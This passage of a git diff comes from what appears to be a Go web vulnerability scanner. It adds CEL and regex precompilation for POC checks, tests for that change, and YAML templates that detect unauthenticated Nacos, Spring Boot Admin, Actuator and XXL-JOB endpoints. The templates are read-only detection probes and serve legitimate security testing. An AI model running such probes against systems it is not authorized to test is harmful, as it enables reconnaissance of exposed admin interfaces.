执行集群POC检测,支持批量参数组合测试 -func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, pocCtx *POCContext, progCache CelProgCache) (success bool, err error) { +func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, plan *preparedPoc, pocCtx *POCContext) (success bool, err error) { var strMap StrMap // 存储成功的参数组合 var shiroKeyCount int // shiro key测试计数 @@ -417,7 +416,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, // 检查是否需要进行参数Fuzz测试 if !isFuzz(rule, p.Sets) { // 不需要Fuzz,直接发送请求 - success, err = clustersend(oReq, variableMap, req, env, rule, pocCtx.Session, progCache) + success, err = clustersend(oReq, variableMap, req, plan, rule, pocCtx.Session) if err != nil { return false, err } @@ -460,7 +459,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, if key == "payload" { payloadExpr = expr } - output, err := evalset1(env, variableMap, key, expr) + output, err := evalset1Cached(plan, variableMap, key, expr) if err != nil { pocCtx.Session.LogError(i18n.Tr("webscan_set_exec_error", key, err)) } @@ -483,7 +482,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, ruleHash[ruleMD5] = struct{}{} // 发送请求并处理结果 - success, err = clustersend(oReq, variableMap, req, env, currentRule, pocCtx.Session, progCache) + success, err = clustersend(oReq, variableMap, req, plan, currentRule, pocCtx.Session) if err != nil { return false, err } @@ -748,7 +747,7 @@ func MakeData(base [][]string, nextData []string) [][]string { } // clustersend 执行单个规则的HTTP请求和响应检测 -func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules, session *common.ScanSession, progCache CelProgCache) (bool, error) { +func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, plan *preparedPoc, rule Rules, session *common.ScanSession) (bool, error) { // 替换请求中的变量 for varName, varValue := range variableMap { // 跳过map类型的变量 @@ -810,7 +809,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re // 执行搜索规则 if rule.Search != "" { searchContent := GetHeader(resp.Headers) + string(resp.Body) - result := doSearch(rule.Search, searchContent) + result := plan.search(rule.Search, searchContent) if len(result) > 0 { // 将搜索结果添加到变量映射 @@ -823,7 +822,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re } // 执行CEL表达式(使用编译缓存) - out, err := EvaluateCached(env, rule.Expression, variableMap, progCache) + out, err := EvaluateCached(plan.env, rule.Expression, variableMap, plan.programs) if err != nil { if strings.Contains(err.Error(), "Syntax error") { common.LogError(i18n.Tr("webscan_cel_syntax_error", rule.Expression, err)) @@ -867,9 +866,12 @@ func cloneMap(tags map[string]string) map[string]string { return cloneTags } -// evalset 执行CEL表达式并处理特殊类型结果 -func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (string, error) { - out, err := Evaluate(env, expression, variableMap) +func evalsetCached(plan *preparedPoc, variableMap map[string]interface{}, k string, expression string) (string, error) { + out, err := EvaluateCached(plan.env, expression, variableMap, plan.programs) + return applySetResult(variableMap, k, out, err) +} + +func applySetResult(variableMap map[string]interface{}, k string, out ref.Val, err error) (string, error) { if err != nil { variableMap[k] = "" return "", err @@ -888,15 +890,20 @@ func evalset(env *cel.Env, variableMap map[string]interface{}, k string, express return fmt.Sprintf("%v", variableMap[k]), nil } -// evalset1 执行CEL表达式的简化版本 -func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (string, error) { +func evalset1Cached(plan *preparedPoc, variableMap map[string]interface{}, k string, expression string) (string, error) { + return evalset1WithEvaluator(variableMap, k, expression, func() (ref.Val, error) { + return EvaluateCached(plan.env, expression, variableMap, plan.programs) + }) +} + +func evalset1WithEvaluator(variableMap map[string]interface{}, k string, expression string, evaluate func() (ref.Val, error)) (string, error) { // 纯字面量字符串(无函数调用、运算符、变量引用)直接当值用,跳过 CEL 编译 // 避免 sets 中的 "sql"、"database" 等被当成 CEL 变量引用产生大量错误日志 if isPlainLiteral(expression, variableMap) { variableMap[k] = expression return expression, nil } - out, err := Evaluate(env, expression, variableMap) + out, err := evaluate() if err != nil { variableMap[k] = expression } else { diff --git a/webscan/lib/poc_executor_test.go b/webscan/lib/poc_executor_test.go index d5ea0696..389f2ad2 100644 --- a/webscan/lib/poc_executor_test.go +++ b/webscan/lib/poc_executor_test.go @@ -8,8 +8,8 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" + "scanner/common" + "scanner/common/output" ) // ============================================================================= diff --git a/webscan/lib/poc_precompile.go b/webscan/lib/poc_precompile.go new file mode 100644 index 00000000..1fb37fcb --- /dev/null +++ b/webscan/lib/poc_precompile.go @@ -0,0 +1,210 @@ +package lib + +import ( + "fmt" + "regexp" + "strings" + + "github.com/google/cel-go/cel" + exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" +) + +// preparedPoc 是 POC 的只读执行计划。加载完成后不再修改,可安全地在多个目标间复用。 +type preparedPoc struct { + env *cel.Env + programs *CelProgCache + searches map[string]*regexp.Regexp +} + +// Prepare 在加载阶段构建 POC 的 CEL 环境、程序和搜索正则。 +// 对手工构造的 POC 重复调用也是安全的,实际准备过程只执行一次。 +func (p *Poc) Prepare() error { + if p == nil { + return fmt.Errorf("POC is nil") + } + p.prepareOnce.Do(func() { + p.prepared, p.prepareErr = buildPreparedPoc(p) + }) + return p.prepareErr +} + +func (p *Poc) executionPlan() (*preparedPoc, error) { + if err := p.Prepare(); err != nil { + return nil, err + } + return p.prepared, nil +} + +func buildPreparedPoc(p *Poc) (*preparedPoc, error) { + searches, captureNames, err := compilePocSearches(p) + if err != nil { + return nil, err + } + + declarations := collectPreparedVarDeclarations(p, captureNames) + env, err := ExtendEnvWithVars(declarations) + if err != nil { + return nil, fmt.Errorf("create CEL environment: %w", err) + } + + expressions := collectPocExpressions(p) + programs := newCelProgCache(len(expressions)) + for _, expression := range expressions { + // 编译错误也进入缓存。这样历史上无法执行的规则仍在执行时返回同类错误, + // 但不会再针对每个目标重复尝试编译。 + _, _ = compileCachedProgram(env, expression, programs) + } + programs.seal() + + return &preparedPoc{ + env: env, + programs: programs, + searches: searches, + }, nil +} + +func compileCachedProgram(env *cel.Env, expression string, cache *CelProgCache) (cel.Program, error) { + if expression == "" { + return nil, nil + } + if program, err, cached := cache.get(expression); cached { + return program, err + } + ast, issues := env.Compile(expression) + if issues.Err() != nil { + return cache.putIfAbsent(expression, nil, issues.Err()) + } + program, err := env.Program(ast, GetBaseProgramOptions()...) + return cache.putIfAbsent(expression, program, err) +} + +func compilePocSearches(p *Poc) (map[string]*regexp.Regexp, []string, error) { + patterns := collectPocSearchPatterns(p) + searches := make(map[string]*regexp.Regexp, len(patterns)) + captureNames := make([]string, 0) + seenCaptures := make(map[string]struct{}) + for _, pattern := range patterns { + compiled, err := regexp.Compile(pattern) + if err != nil { + return nil, nil, fmt.Errorf("compile search expression %q: %w", compactExpression(pattern), err) + } + searches[pattern] = compiled + for _, name := range compiled.SubexpNames() { + if name == "" { + continue + } + if _, exists := seenCaptures[name]; exists { + continue + } + seenCaptures[name] = struct{}{} + captureNames = append(captureNames, name) + } + } + return searches, captureNames, nil +} + +func collectPreparedVarDeclarations(p *Poc, captureNames []string) []*exprpb.Decl { + baseDeclarations := collectVarDeclarations(p) + declarations := make([]*exprpb.Decl, 0, len(baseDeclarations)+len(captureNames)) + seen := make(map[string]struct{}, cap(declarations)) + for _, declaration := range baseDeclarations { + if declaration == nil || declaration.Name == "" { + continue + } + if _, exists := seen[declaration.Name]; exists { + continue + } + seen[declaration.Name] = struct{}{} + declarations = append(declarations, declaration) + } + for _, name := range captureNames { + if _, exists := seen[name]; exists { + continue + } + seen[name] = struct{}{} + declarations = append(declarations, MakeVarDecl(name, "")) + } + return declarations +} + +func collectPocExpressions(p *Poc) []string { + expressions := make([]string, 0, len(p.Set)+len(p.Rules)+len(p.Sets)) + seen := make(map[string]struct{}) + add := func(expression string) { + if expression == "" { + return + } + if _, exists := seen[expression]; exists { + return + } + seen[expression] = struct{}{} + expressions = append(expressions, expression) + } + + declaredVariables := make(map[string]interface{}, len(p.Set)+len(p.Sets)) + for _, item := range p.Set { + declaredVariables[item.Key] = nil + if item.Value != "newReverse()" { + add(item.Value) + } + } + for _, item := range p.Sets { + declaredVariables[item.Key] = nil + } + for _, item := range p.Sets { + for _, expression := range item.Value { + if !isPlainLiteral(expression, declaredVariables) { + add(expression) + } + } + } + forEachPocRule(p, func(rule Rules) { + add(rule.Expression) + }) + return expressions +} + +func collectPocSearchPatterns(p *Poc) []string { + patterns := make([]string, 0) + seen := make(map[string]struct{}) + forEachPocRule(p, func(rule Rules) { + if rule.Search == "" { + return + } + if _, exists := seen[rule.Search]; exists { + return + } + seen[rule.Search] = struct{}{} + patterns = append(patterns, rule.Search) + }) + return patterns +} + +func forEachPocRule(p *Poc, fn func(Rules)) { + for _, rule := range p.Rules { + fn(rule) + } + for _, group := range p.Groups { + for _, rule := range group.Value { + fn(rule) + } + } +} + +func compactExpression(expression string) string { + const maxLength = 120 + compact := strings.Join(strings.Fields(expression), " ") + if len(compact) <= maxLength { + return compact + } + return compact[:maxLength] + "..." +} + +func (p *preparedPoc) search(pattern, body string) map[string]string { + if p != nil { + if compiled := p.searches[pattern]; compiled != nil { + return searchWithRegexp(compiled, body) + } + } + return doSearch(pattern, body) +} diff --git a/webscan/lib/poc_precompile_test.go b/webscan/lib/poc_precompile_test.go new file mode 100644 index 00000000..af590fc2 --- /dev/null +++ b/webscan/lib/poc_precompile_test.go @@ -0,0 +1,134 @@ +package lib + +import ( + "sync" + "testing" +) + +func TestPocPreparePrecompilesAndReusesPlan(t *testing.T) { + poc := &Poc{ + Name: "prepared-test", + Set: StrMap{ + {Key: "token", Value: `"ok"`}, + }, + Rules: []Rules{ + { + Search: `user=(?P[a-z]+)`, + Expression: `token == "ok"`, + }, + { + Expression: `username == "admin"`, + }, + }, + } + + if err := poc.Prepare(); err != nil { + t.Fatalf("Prepare() error = %v", err) + } + first := poc.prepared + if first == nil || first.env == nil || first.programs == nil { + t.Fatal("Prepare() did not create a complete execution plan") + } + if got, want := first.programs.len(), 3; got != want { + t.Fatalf("compiled program count = %d, want %d", got, want) + } + if got := first.search(`user=(?P[a-z]+)`, "user=admin"); got["username"] != "admin" { + t.Fatalf("precompiled search result = %#v", got) + } + + if err := poc.Prepare(); err != nil { + t.Fatalf("second Prepare() error = %v", err) + } + if poc.prepared != first { + t.Fatal("Prepare() rebuilt an already prepared POC") + } +} + +func TestPocPrepareConcurrentEvaluation(t *testing.T) { + poc := &Poc{ + Set: StrMap{{Key: "token", Value: `"ok"`}}, + Rules: []Rules{{Expression: `token == "ok"`}}, + } + if err := poc.Prepare(); err != nil { + t.Fatalf("Prepare() error = %v", err) + } + + const workers = 32 + var wg sync.WaitGroup + errs := make(chan error, workers) + for i := 0; i < workers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + out, err := EvaluateCached(poc.prepared.env, `token == "ok"`, map[string]interface{}{"token": "ok"}, poc.prepared.programs) + if err != nil { + errs <- err + return + } + if value, ok := out.Value().(bool); !ok || !value { + errs <- errUnexpectedPreparedResult + } + }() + } + wg.Wait() + close(errs) + for err := range errs { + if err != nil { + t.Fatalf("concurrent evaluation error = %v", err) + } + } +} + +func TestPocPrepareCachesInvalidCEL(t *testing.T) { + poc := &Poc{Rules: []Rules{{Expression: "response."}}} + if err := poc.Prepare(); err != nil { + t.Fatalf("Prepare() error = %v", err) + } + program, compileErr, cached := poc.prepared.programs.get("response.") + if !cached || compileErr == nil || program != nil { + t.Fatalf("invalid CEL cache = (program=%v, err=%v, cached=%v)", program, compileErr, cached) + } +} + +func TestPocPrepareRejectsInvalidSearchRegex(t *testing.T) { + poc := &Poc{Rules: []Rules{{Search: "[", Expression: "true"}}} + if err := poc.Prepare(); err == nil { + t.Fatal("Prepare() error = nil, want regex validation error") + } +} + +func BenchmarkPocCELEvaluation(b *testing.B) { + poc := &Poc{ + Set: StrMap{{Key: "token", Value: `"ok"`}}, + Rules: []Rules{{Expression: `token == "ok" && response.status == 200`}}, + } + if err := poc.Prepare(); err != nil { + b.Fatalf("Prepare() error = %v", err) + } + params := map[string]interface{}{ + "token": "ok", + "response": &Response{Status: 200}, + } + expression := poc.Rules[0].Expression + + b.Run("prepared", func(b *testing.B) { + for i := 0; i < b.N; i++ { + if _, err := EvaluateCached(poc.prepared.env, expression, params, poc.prepared.programs); err != nil { + b.Fatal(err) + } + } + }) + b.Run("compile-each-time", func(b *testing.B) { + for i := 0; i < b.N; i++ { + if _, err := Evaluate(poc.prepared.env, expression, params); err != nil { + b.Fatal(err) + } + } + }) +} + +type preparedResultError string + +func (e preparedResultError) Error() string { return string(e) } + +const errUnexpectedPreparedResult preparedResultError = "prepared CEL program returned a non-true result" diff --git a/webscan/lib/spring_actuator_poc_test.go b/webscan/lib/spring_actuator_poc_test.go new file mode 100644 index 00000000..2900528b --- /dev/null +++ b/webscan/lib/spring_actuator_poc_test.go @@ -0,0 +1,93 @@ +package lib + +import ( + "context" + "net/http" + "net/http/httptest" + "path/filepath" + "strings" + "sync" + "testing" + "time" + + "scanner/common" +) + +func TestSpringActuatorSensitiveEndpointPoc(t *testing.T) { + poc, err := LoadPocbyPath(filepath.Join("..", "pocs", "springboot-actuator-sensitive-endpoint-unauth.yml")) + if err != nil { + t.Fatalf("LoadPocbyPath: %v", err) + } + const discoveryBody = `{"_links":{"self":{"href":"http://example/actuator"},"beans":{"href":"http://example/actuator/beans"}}}` + if got := doSearch(poc.Rules[0].Search, discoveryBody)["endpoint"]; got != "beans" { + t.Fatalf("discovery search %q captured endpoint %q, want beans", poc.Rules[0].Search, got) + } + + tests := []struct { + name string + rootStatus int + verifyStatus int + wantHit bool + wantRequests string + }{ + {name: "sensitive endpoint exposed", rootStatus: http.StatusOK, verifyStatus: http.StatusOK, wantHit: true, wantRequests: "GET /actuator,HEAD /actuator/beans"}, + {name: "sensitive endpoint protected", rootStatus: http.StatusOK, verifyStatus: http.StatusUnauthorized, wantHit: false, wantRequests: "GET /actuator,HEAD /actuator/beans"}, + {name: "not actuator", rootStatus: http.StatusNotFound, verifyStatus: http.StatusNotFound, wantHit: false, wantRequests: "GET /actuator"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + var requestMu sync.Mutex + requests := make([]string, 0, 2) + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + requestMu.Lock() + requests = append(requests, r.Method+" "+r.URL.Path) + requestMu.Unlock() + + switch r.URL.Path { + case "/actuator": + w.Header().Set("Content-Type", "application/vnd.spring-boot.actuator.v3+json") + w.WriteHeader(tt.rootStatus) + if r.Method != http.MethodHead { + _, _ = w.Write([]byte(discoveryBody)) + } + case "/actuator/beans": + w.Header().Set("Content-Type", "application/vnd.spring-boot.actuator.v3+json") + w.WriteHeader(tt.verifyStatus) + default: + http.NotFound(w, r) + } + })) + defer server.Close() + + cfg := common.NewConfig() + cfg.Output.Silent = true + cfg.Network.WebTimeout = 5 * time.Second + cfg.Network.MaxRedirects = 1 + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + if err := InitSessionHTTP(cfg, session); err != nil { + t.Fatalf("InitSessionHTTP: %v", err) + } + defer session.Deactivate() + + req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, server.URL, nil) + if err != nil { + t.Fatalf("NewRequestWithContext: %v", err) + } + hit, _, err := executePoc(req, poc, &POCContext{Session: session}) + if err != nil { + t.Fatalf("executePoc: %v", err) + } + if hit != tt.wantHit { + t.Fatalf("executePoc hit = %v, want %v", hit, tt.wantHit) + } + + requestMu.Lock() + gotRequests := strings.Join(requests, ",") + requestMu.Unlock() + if gotRequests != tt.wantRequests { + t.Fatalf("requests = %q, want %q", gotRequests, tt.wantRequests) + } + }) + } +} diff --git a/webscan/pocs/alibaba-nacos-namespace-unauth.yml b/webscan/pocs/alibaba-nacos-namespace-unauth.yml new file mode 100644 index 00000000..99257eb5 --- /dev/null +++ b/webscan/pocs/alibaba-nacos-namespace-unauth.yml @@ -0,0 +1,23 @@ +name: poc-yaml-alibaba-nacos-namespace-unauth +sets: + endpoint: + - nacos/v1/console/namespaces + - nacos/v3/console/core/namespace/list +rules: + - method: GET + path: /nacos/ + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"Nacos") + - method: GET + path: /{{endpoint}} + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b'"data"') && response.body.bcontains(b'"namespace"') && response.body.bcontains(b'"namespaceShowName"') && response.body.bcontains(b'"configCount"') +detail: + author: CO0KlE1 + description: The Nacos console namespace list is accessible without authentication. The check is read-only and supports the v1 and v3 console APIs. + links: + - https://nacos.io/en/docs/latest/manual/admin/auth/ + - https://github.com/alibaba/nacos/blob/2.4.3/console/src/main/java/com/alibaba/nacos/console/controller/NamespaceController.java + diff --git a/webscan/pocs/spring-boot-admin-unauth.yml b/webscan/pocs/spring-boot-admin-unauth.yml new file mode 100644 index 00000000..f747d375 --- /dev/null +++ b/webscan/pocs/spring-boot-admin-unauth.yml @@ -0,0 +1,18 @@ +name: poc-yaml-spring-boot-admin-unauth +rules: + - method: GET + path: / + follow_redirects: false + expression: | + response.status == 200 && (response.body.bcontains(b"Spring Boot Admin") || (response.body.bcontains(b"sba-settings.js") && response.body.bcontains(b"variables.css"))) + - method: GET + path: /instances + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && (r'^\s*\[\s*\]\s*$'.bmatches(response.body) || (response.body.bcontains(b'"registration"') && (response.body.bcontains(b'"managementUrl"') || response.body.bcontains(b'"healthUrl"'))) || (response.body.bcontains(b'"_embedded"') && response.body.bcontains(b'"instances"'))) +detail: + author: CO0KlE1 + description: The Spring Boot Admin instance registry is accessible without authentication. The check reads only the instance collection and does not proxy any Actuator endpoint. + links: + - https://docs.spring-boot-admin.com/4.0.4/docs/reference/rest-api/ + - https://github.com/codecentric/spring-boot-admin diff --git a/webscan/pocs/springboot-actuator-sensitive-endpoint-unauth.yml b/webscan/pocs/springboot-actuator-sensitive-endpoint-unauth.yml new file mode 100644 index 00000000..86508d01 --- /dev/null +++ b/webscan/pocs/springboot-actuator-sensitive-endpoint-unauth.yml @@ -0,0 +1,20 @@ +name: poc-yaml-springboot-actuator-sensitive-endpoint-unauth +rules: + - method: GET + path: /actuator + follow_redirects: false + search: |- + "(?Pbeans|configprops|mappings|httpexchanges|httptrace|scheduledtasks|sessions|threaddump|logfile|jolokia|gateway|loggers)"\s*:\s*\{\s*"href"\s*:\s*"[^"]+" + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b'"_links"') + - method: HEAD + path: /actuator/{{endpoint}} + follow_redirects: false + expression: | + response.status == 200 && (response.content_type.contains("json") || response.content_type.contains("octet-stream") || response.content_type.contains("text/plain")) +detail: + author: CO0KlE1 + description: A sensitive Spring Boot Actuator endpoint is listed and accessible without authentication. Detection uses one discovery request and a bodyless HEAD verification. + links: + - https://docs.spring.io/spring-boot/reference/actuator/endpoints.html + - https://docs.spring.io/spring-boot/reference/actuator/monitoring.html diff --git a/webscan/pocs/xxl-job-admin-unauth.yml b/webscan/pocs/xxl-job-admin-unauth.yml new file mode 100644 index 00000000..96ffee25 --- /dev/null +++ b/webscan/pocs/xxl-job-admin-unauth.yml @@ -0,0 +1,22 @@ +name: poc-yaml-xxl-job-admin-unauth +rules: + - method: GET + path: /xxl-job-admin/ + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"adminlte") && (response.body.bcontains(b"XXL-JOB") || response.body.bcontains(b"XXLJOB") || response.body.bcontains(b"Powered by XXL-JOB")) + - method: POST + path: /xxl-job-admin/jobgroup/pageList + headers: + Content-Type: application/x-www-form-urlencoded + body: offset=0&pagesize=10 + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && ((r'"code"\s*:\s*200'.bmatches(response.body) && response.body.bcontains(b'"data"') && response.body.bcontains(b'"total"')) || (response.body.bcontains(b'"recordsTotal"') && response.body.bcontains(b'"recordsFiltered"') && response.body.bcontains(b'"data"'))) +detail: + author: CO0KlE1 + description: The XXL-JOB executor group list is accessible without authentication. The check performs only a paginated list query and does not log in or trigger jobs. + links: + - https://github.com/xuxueli/xxl-job/blob/master/doc/XXL-JOB%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3.md + - https://github.com/xuxueli/xxl-job/blob/master/xxl-job-admin/src/main/java/com/xxl/job/admin/business/controller/JobGroupController.java + diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 6dbdfb1c..88598821 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -15,10 +15,10 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/webscan/lib" + "scanner/common" + "scanner/common/config" + "scanner/common/i18n" + "scanner/webscan/lib" ) // 常量定义 @@ -52,9 +52,6 @@ var globalPocStore = &pocStore{cache: make(map[string][]*lib.Poc)} // WebScan 执行Web漏洞扫描 func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config, session *common.ScanSession) { - // 初始化POC配置(用于CEL回调函数) - lib.InitPOCConfig(cfg.DNSLog) - // 加载POC(按 PocPath 缓存,不同路径独立加载) pocs := globalPocStore.getOrLoad(cfg.POC.PocPath) @@ -264,7 +261,7 @@ func createBaseRequest(ctx context.Context, target string, cfg *common.Config) ( } // 设置请求头 - req.Header.Set("User-agent", cfg.HTTP.UserAgent) + req.Header.Set("User-Agent", common.HTTPUserAgent(cfg)) req.Header.Set("Accept", cfg.HTTP.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") if cfg.HTTP.Cookie != "" { @@ -355,7 +352,11 @@ func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) [] poc, err = lib.LoadPocbyPath(filename) } - if err == nil && poc != nil { + if err != nil { + common.LogError(i18n.Tr("webscan_poc_load_one_failed", filename, err)) + return + } + if poc != nil { results <- poc } }(file) diff --git a/webscan/web_scan_test.go b/webscan/web_scan_test.go index 066a830c..9f71d103 100644 --- a/webscan/web_scan_test.go +++ b/webscan/web_scan_test.go @@ -4,11 +4,29 @@ import ( "context" "testing" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/webscan/lib" + "scanner/common" + "scanner/common/config" + "scanner/webscan/lib" ) +func TestEmbeddedPocsArePreparedAtLoadTime(t *testing.T) { + entries, err := pocsFS.ReadDir("pocs") + if err != nil { + t.Fatalf("ReadDir(pocs) error = %v", err) + } + want := 0 + for _, entry := range entries { + if isPocFile(entry.Name()) { + want++ + } + } + + pocs := loadEmbeddedPocs() + if len(pocs) != want { + t.Fatalf("prepared embedded POCs = %d, want %d", len(pocs), want) + } +} + func TestBuildTargetURL(t *testing.T) { tests := []struct { name string @@ -460,7 +478,7 @@ func TestFilterPocsNilSafety(t *testing.T) { func TestCreateBaseRequestHeaders(t *testing.T) { cfg := common.NewConfig() - cfg.HTTP.UserAgent = "fscan-test-agent" + cfg.HTTP.UserAgent = "test-agent" cfg.HTTP.Accept = "application/json" cfg.HTTP.Cookie = "sid=abc" @@ -471,7 +489,7 @@ func TestCreateBaseRequestHeaders(t *testing.T) { if req.Method != "GET" { t.Fatalf("method = %q, want GET", req.Method) } - if got := req.Header.Get("User-agent"); got != "fscan-test-agent" { + if got := req.Header.Get("User-agent"); got != "test-agent" { t.Fatalf("User-agent = %q", got) } if got := req.Header.Get("Accept"); got != "application/json" {